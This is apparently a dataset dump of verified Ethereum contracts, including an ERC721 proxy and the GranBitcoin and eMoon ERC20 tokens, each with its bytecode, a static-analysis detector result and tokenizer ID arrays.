// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: Teddycows in winter wonderland /// @author: manifold.xyz import "./ERC721Creator.sol"; //////////////////////////////////////////////////////////////// // // // // // _______ _ _ // // |__ __| | | | | // // | | ___ __| | __| |_ _ ___ _____ _____ // // | |/ _ \/ _` |/ _` | | | |/ __/ _ \ \ /\ / / __| // // | | __/ (_| | (_| | |_| | (_| (_) \ V V /\__ \ // // |_|\___|\__,_|\__,_|\__, |\___\___/ \_/\_/ |___/ // // __/ | // // |___/ // // // // // //////////////////////////////////////////////////////////////// contract TIWW is ERC721Creator { constructor() ERC721Creator("Teddycows in winter wonderland", "TIWW") {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC721Creator is Proxy { constructor(string memory name, string memory symbol) { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a; Address.functionDelegateCall( 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a, abi.encodeWithSignature("initialize(string,string)", name, symbol) ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internal call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102cb60279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b60606001600160a01b0384163b61019d5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101b8919061024b565b600060405180830381855af49150503d80600081146101f3576040519150601f19603f3d011682016040523d82523d6000602084013e6101f8565b606091505b5091509150610208828286610212565b9695505050505050565b60608315610221575081610105565b8251156102315782518084602001fd5b8160405162461bcd60e51b81526004016101949190610267565b6000825161025d81846020870161029a565b9190910192915050565b602081526000825180602084015261028681604085016020870161029a565b601f01601f19169190910160400192915050565b60005b838110156102b557818101518382015260200161029d565b838111156102c4576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212205cfe265d7b0204ade2117abdfb4f07fb9c11b21f7fb84a8bc87da3d05971d3cf64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 27814, 2575, 2850, 2692, 12740, 2620, 17914, 22275, 2497, 2581, 22407, 9468, 2683, 26187, 2475, 29292, 16336, 4783, 2575, 2620, 4215, 11387, 14728, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1013, 1013, 1030, 2516, 1024, 11389, 3597, 9333, 1999, 3467, 20365, 1013, 1013, 1013, 1030, 3166, 1024, 19726, 1012, 1060, 2100, 2480, 12324, 1000, 1012, 1013, 9413, 2278, 2581, 17465, 16748, 8844, 1012, 14017, 1000, 1025, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,679
0x958781ebeffc04860a1bde735b3e7b074ae9c233
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } uint256 c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); uint256 c = _a - _b; return c; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; assert(c >= _a); return c; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function allowance(address _owner, address _spender) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20 { using SafeMath for uint256; mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) internal allowed; uint256 totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract GranBitcoin is Ownable, StandardToken { using SafeMath for uint256; string public name = "GRAN Bitcoin"; string public symbol = "GRAN"; uint public decimals = 12; uint public INITIAL_SUPPLY = 100 * (10**6) * (10 ** uint256(decimals)) ; // constructor () public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = totalSupply_; } //////////////// owner only functions below /// @notice To transfer token contract ownership /// @param _newOwner The address of the new owner of this contract function transferOwnership(address _newOwner) public onlyOwner { balances[_newOwner] = balances[owner]; balances[owner] = 0; Ownable.transferOwnership(_newOwner); } }
0x6080604052600436106100da5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100df578063095ea7b31461016957806318160ddd146101a157806323b872dd146101c85780632ff2e9dc146101f2578063313ce56714610207578063661884631461021c57806370a0823114610240578063715018a6146102615780638da5cb5b1461027857806395d89b41146102a9578063a9059cbb146102be578063d73dd623146102e2578063dd62ed3e14610306578063f2fde38b1461032d575b600080fd5b3480156100eb57600080fd5b506100f461034e565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561012e578181015183820152602001610116565b50505050905090810190601f16801561015b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017557600080fd5b5061018d600160a060020a03600435166024356103dc565b604080519115158252519081900360200190f35b3480156101ad57600080fd5b506101b6610442565b60408051918252519081900360200190f35b3480156101d457600080fd5b5061018d600160a060020a0360043581169060243516604435610448565b3480156101fe57600080fd5b506101b66105bf565b34801561021357600080fd5b506101b66105c5565b34801561022857600080fd5b5061018d600160a060020a03600435166024356105cb565b34801561024c57600080fd5b506101b6600160a060020a03600435166106ba565b34801561026d57600080fd5b506102766106d5565b005b34801561028457600080fd5b5061028d610741565b60408051600160a060020a039092168252519081900360200190f35b3480156102b557600080fd5b506100f4610750565b3480156102ca57600080fd5b5061018d600160a060020a03600435166024356107ab565b3480156102ee57600080fd5b5061018d600160a060020a036004351660243561088c565b34801561031257600080fd5b506101b6600160a060020a0360043581169060243516610925565b34801561033957600080fd5b50610276600160a060020a0360043516610950565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103d45780601f106103a9576101008083540402835291602001916103d4565b820191906000526020600020905b8154815290600101906020018083116103b757829003601f168201915b505050505081565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60035490565b600160a060020a03831660009081526001602052604081205482111561046d57600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561049d57600080fd5b600160a060020a03831615156104b257600080fd5b600160a060020a0384166000908152600160205260409020546104db908363ffffffff6109a216565b600160a060020a038086166000908152600160205260408082209390935590851681522054610510908363ffffffff6109b616565b600160a060020a038085166000908152600160209081526040808320949094559187168152600282528281203382529091522054610554908363ffffffff6109a216565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b60075481565b60065481565b336000908152600260209081526040808320600160a060020a038616845290915281205480831061061f57336000908152600260209081526040808320600160a060020a0388168452909152812055610654565b61062f818463ffffffff6109a216565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526001602052604090205490565b600054600160a060020a031633146106ec57600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b600054600160a060020a031681565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103d45780601f106103a9576101008083540402835291602001916103d4565b336000908152600160205260408120548211156107c757600080fd5b600160a060020a03831615156107dc57600080fd5b336000908152600160205260409020546107fc908363ffffffff6109a216565b3360009081526001602052604080822092909255600160a060020a0385168152205461082e908363ffffffff6109b616565b600160a060020a0384166000818152600160209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a03861684529091528120546108c0908363ffffffff6109b616565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600054600160a060020a0316331461096757600080fd5b60008054600160a060020a03908116825260016020526040808320548483168452818420558254909116825281205561099f816109cc565b50565b600080838311156109af57fe5b5050900390565b6000828201838110156109c557fe5b9392505050565b600054600160a060020a031633146109e357600080fd5b61099f81600160a060020a03811615156109fc57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600a165627a7a723058201f0d7ecc73eaf050c6017866070ff49cf0276d82a0059d2d8ca71c793e6bcdd20029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 27814, 2581, 2620, 2487, 15878, 12879, 11329, 2692, 18139, 16086, 27717, 2497, 3207, 2581, 19481, 2497, 2509, 2063, 2581, 2497, 2692, 2581, 2549, 6679, 2683, 2278, 21926, 2509, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2484, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 4800, 24759, 3111, 2048, 3616, 1010, 11618, 2006, 2058, 12314, 1012, 1008, 1013, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1035, 1037, 1010, 21318, 3372, 17788, 2575, 1035, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 1013, 1013, 3806, 20600, 1024, 2023, 2003, 16269, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,680
0x9587a3863874ac728c4030c5f309d42e4587cb76
/** *Submitted for verification at Etherscan.io on 2021-05-11 */ pragma solidity ^0.5.0; contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Safe Math Library // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract eMoon is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { name = "eMoon"; symbol = "eMoon"; decimals = 18; _totalSupply = 1000000000000000000000000000000; balances[msg.sender] = 1000000000000000000000000000000; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
